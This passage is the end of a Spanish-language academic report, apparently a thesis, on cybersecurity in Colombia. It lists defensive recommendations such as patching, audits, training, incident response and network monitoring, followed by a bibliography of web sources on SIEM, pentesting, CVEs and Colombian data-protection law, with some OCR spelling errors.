tendencias y amenazas en el campo de la ciberseguridad. La evolucion
tecnologica requiere una constante adaptacidon y aprendizaje para
mantenerse seguro y proteger la informacion.

Aplicaciéon de Parches y Actualizaciones de Seguridad: Priorice y aplique
los parches de seguridad criticos en todos los sistemas y servidores
afectados lo antes posible para abordar las vulnerabilidades identificadas.
Esto debe hacerse de manera regular y sistematica.

Auditorias de Seguridad Continuas: Implemente auditorias de seguridad
regulares en su infraestructura y aplicaciones para detectar y remediar
nuevas vulnerabilidades. Esto garantizara una postura de seguridad
proactiva.

Educacion en Seguridad para el Personal: Proporcione capacitacion en
seguridad cibernética a todos los miembros del personal para aumentar la
conciencia sobre la importancia de practicas seguras, contrasefias robustas
y la deteccion de posibles amenazas.

Gestion Efectiva de Parches: Establezca un proceso de gestion de parches
efectivo que incluya la revision y aplicacion regular de actualizaciones
criticas. Monitoree el estado de parcheo de todos los sistemas.

Monitorizaciéon Continua de Eventos de Seguridad: Implemente un
sistema de monitorizacion de eventos de seguridad que detecte y responda
a actividades inusuales o sospechosas en tiempo real. Esto ayudara a
identificar y mitigar amenazas de manera mas rapida.

Evaluacion Regular de la Infraestructura: Realice evaluaciones periddicas
de seguridad en toda su infraestructura y aplicaciones para identificar y
abordar nuevas vulnerabilidades antes de que los atacantes puedan
explotarlas.

Actualizacién de Politicas y Procedimientos de Seguridad: Revise y
actualice regularmente las politicas y procedimientos de seguridad
cibernética para asegurarse de que reflejen las mejores practicas y estén al
dia con las amenazas emergentes.
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Ejercicios de Concienciacién en Seguridad: Realice ejercicios regulares
de concienciacién en seguridad para educar a su personal sobre las mejores
practicas de seguridad y cémo identificar posibles ataques de ingenieria
social.

Plan de Respuesta a Incidentes: Desarrolle y mantenga un plan de
respuesta a incidentes que detalle los pasos a seguir en caso de una
violacion de seguridad. Asegurese de que todo el personal esté familiarizado
con este plan.

Auditorias Externas: Considere la posibilidad de realizar auditorias de
seguridad externas periodicas realizadas por profesionales de seguridad
independientes para obtener una evaluacion objetiva de la seguridad de su
empresa.

Seguimiento de Cumplimiento: Asegurese de cumplir con las regulaciones
y estandares de seguridad relevantes para su industria, como GDPR, HIPAA,
ISO 27001, etc. Esto garantiza que esté al dia con las mejores practicas de
seguridad.

Restablecimiento de Contraseias y Analisis de Actividad: Dado que se
sospecha que se ha producido una violacion, cambie todas las contrasenas
y realice un analisis exhaustivo de la actividad del sistema para identificar
cualquier actividad maliciosa adicional.

Politicas de Descarga y Ejecucion de Software: Establezca politicas
estrictas sobre la descarga y ejecucion de software en las computadoras de
la empresa. Los empleados deben estar capacitados para identificar y evitar
software no confiable.

Monitoreo de Trafico de Red: Implemente un sistema de monitoreo de
trafico de red para detectar y bloquear actividades sospechosas en la red,
como el acceso no autorizado a través de puertos inusuales.

Restauracion Segura de Sistemas: Antes de volver a poner en linea los
sistemas afectados, asegurese de que estén completamente limpios y que
todas las vulnerabilidades se hayan abordado. Realice un seguimiento
constante de la actividad en busca de intrusiones posteriores.

83



Referencias bibliograficas

IBM. (s.f.). [Sitio Web] IBM. Obtenido de ;Qué es SIEM? [consultado el 16 de
Septiembre 2023]. Disponible en: https://www.ibm.com/mx-es/topics/siem

IBM. (s.f.). [Sitio Web] IBM. Obtenido de ;Qué es XDR? [consultado el 16 de
Septiembre 2023]. Disponible en: https://www.ibm.com/es-es/topics/xdr

OSSEC. (s.f.). [Sitio Web] OSSEC. Obtenido de Flrewall Ossec [consultado el 16
de Septiembre 2023]. Disponible en: https://www.ossec.net/

SNORT. (s.f.). [Sitio Web] SNOR. Obtenido de Firewall Snort [consultado el 16 de
Septiembre 2023]. Disponible en: https://www.snort.org/

SURICATA. (s.f.). [Sitio Web] SURICATA. Obtenido de Firewall Suricata [consultado
el 16 de Septiembre 2023]. Disponible en: https://suricata.io/

keepcoding. (21 de Febrero de 2023). [Sitio Web] KeepCoding Tech School.
Obtenido de ;Qué es Blue Team en Ciberseguridad? [consultado el 16 de
Septiembre 2023]. Disponible en: https://keepcoding.io/blog/que-es-blue-team-en-
ciberseguridad/

KeepCoding. (10 de Abril de 2023). [Sitio Web] KeepCoding Tech School. Obtenido
de ¢ Qué es Red Team en Ciberseguridad? [consultado el 16 de Septiembre 2023].
Disponible en: https://keepcoding.io/blog/que-es-red-team-en-ciberseguridad/

KeepCoding. (21 de Julio de 2023). [Sitio Web] KeepCoding. Obtenido de
KeepCoding Tech School [consultado el 16 de Septiembre 2023]. Disponible en:
https://keepcoding.io/blog/que-es-purple-team-en-ciberseguridad/

Security, C. C. (s.f.). [Sitio Web] CIS WorkBench. Obtenido de workbench Cisecurity
[consultado el 16 de Septiembre 2023]. Disponible en:
https://workbench.cisecurity.org

84



publica, D. a. (18 de Octubre de 2012) . [Sitio Web]. Funcion Publica. Obtenido de
Ley 1581 de 2012. . [consultado el 07 de Octubre 2023]. Diponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma_pdf.php?i=49981

Colombia, R. d. (5 de Enero de 2009). [Sitio Web]. SIC. Obtenido de LEY 1273 DE
[consultado el 07 de Octubre 2023]. Disponible en:
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.p

df

NOWAK, S. (28 de Noviembre de 2022). [Sitio Web]. nuclio. Obtenido de ;Qué es
el Pentesting? [consultado el 07 de Octubre 2023]. Disponible en:
https://nuclio.school/que-es-el-pentesting/

Hernandez, M. (21 de Marzo de 2022). [Sitio Web]. ciberseguridad bidaidea.
Obtenido de ¢ Cual son la 5 Fases del Pentesting? [consultado el 07 de Octubre
2023]. Disponible en: https://ciberseguridadbidaidea.com/fases-del-pentesting/

ciberseguridad. (s.f.). [Sitio Web]. ciberseguridad. Obtenido de ;QUE ES CVE?
EXPLICACION DE LAS VULNERABILIDADES Y EXPOSICIONES COMUNES
[consultado el 07 de Octubre 2023]. Disponible en:
https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-
exposiciones-comunes/

wikipedia. (12 de Julio de 2023). [Sitio Web]. wikipedia. Obtenido de Common
Vulnerabilities and Exposures [consultado el 07 de Octubre 2023]. Disponible en:
https://es.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

Exploit. (s.f.). ExploitDB. [Sitio Web]. Obtenido de Exploit DataBase [consultado el
07 de Octubre 2023]. Disponible en: https://www.exploit-db.com/

COPNIA. (2015). [Sitio Web]. Cédigo de ética. Obtenido de Consejo Profesional
Nacional de Ingenieria [consultado el 15 de Agosto 2023]. Disponible en:
https://www.copnia.gov.co/sites/default/files/node/page/field _insert_file/codigo_etic
a.pdf

Espectador, R. T. (21 de Enero de 2022). [Sitio Web]. jCuidado! Delincuentes estan
usando cédigos QR para estafar a sus victimas. Obtenido de EL ESPECTADOR

85



[consultado el 15 de Agosto 2023]. Disponible en:
https://www.elespectador.com/tecnologia/cuidado-delincuentes-estan-usando-
codigos-qr-para-estafar-a-sus-victimas/

Colombia, R. d. (5 de Enero de 2009). [Sitio Web]. SIC. Obtenido de LEY 1273 DE
2009 [consultado el 07 de  Octubre  2023]. Disponible  en:
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273 2009.p
df

Publica, D. a. (18 de Octubre de 2012) . [Sitio Web]. funcion Publica. Obtenido de
Ley 1581 de 2012. . [consultado el 07 de Octubre 2023]. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma_pdf.php?i=49981

Flu-Project. (s.f.). RID Hijacking en Windows 10: [Sitio Web] ;Qué es y como
aprovecharlo? #Metasploit #Pentesting. Obtenido de Flu-Project [consultado el 08
de Septiembre 2023]. Disponible en: https://www.flu-project.com/2018/05/rid-
hijacking-en-windows-10-que-es-y.html

Pérez, P. G. (s.f.). Hacking Windows 10: [Sitio Web] Escalada De Privilegios Con
CVE-2019-0841. Obtenido de Hacking [consultado el 08 de Septiembre 2023].
Disponible en: https://www.hacking.land/2019/04/hacking-windows-10-escalada-
de.html?m=1

SADVISOR. (05 de Septiembre de 2022). [Sitio Web] Security Advisor Su Defensa
Digital. Obtenido de ¢Qué es el Equipo de Respuesta ante Incidentes de Seguridad
Informatica CSIRT? [consultado el 16 de Septiembre 2023]. Disponible en:
https://sadvisor.com/que-es-el-csirt/

LIFARS. (noviembre de 2020). [Sitio Web] Guide to Hardening Windows 10 For
Administrators, Developers and Office Workers. Obtenido de Lifars [consultado el
19 de Septiembre 2023]. Disponible en: https://lifars.com/wp-
content/uploads/2020/11/Guide-to-Hardening-Windows-10.pdf

86



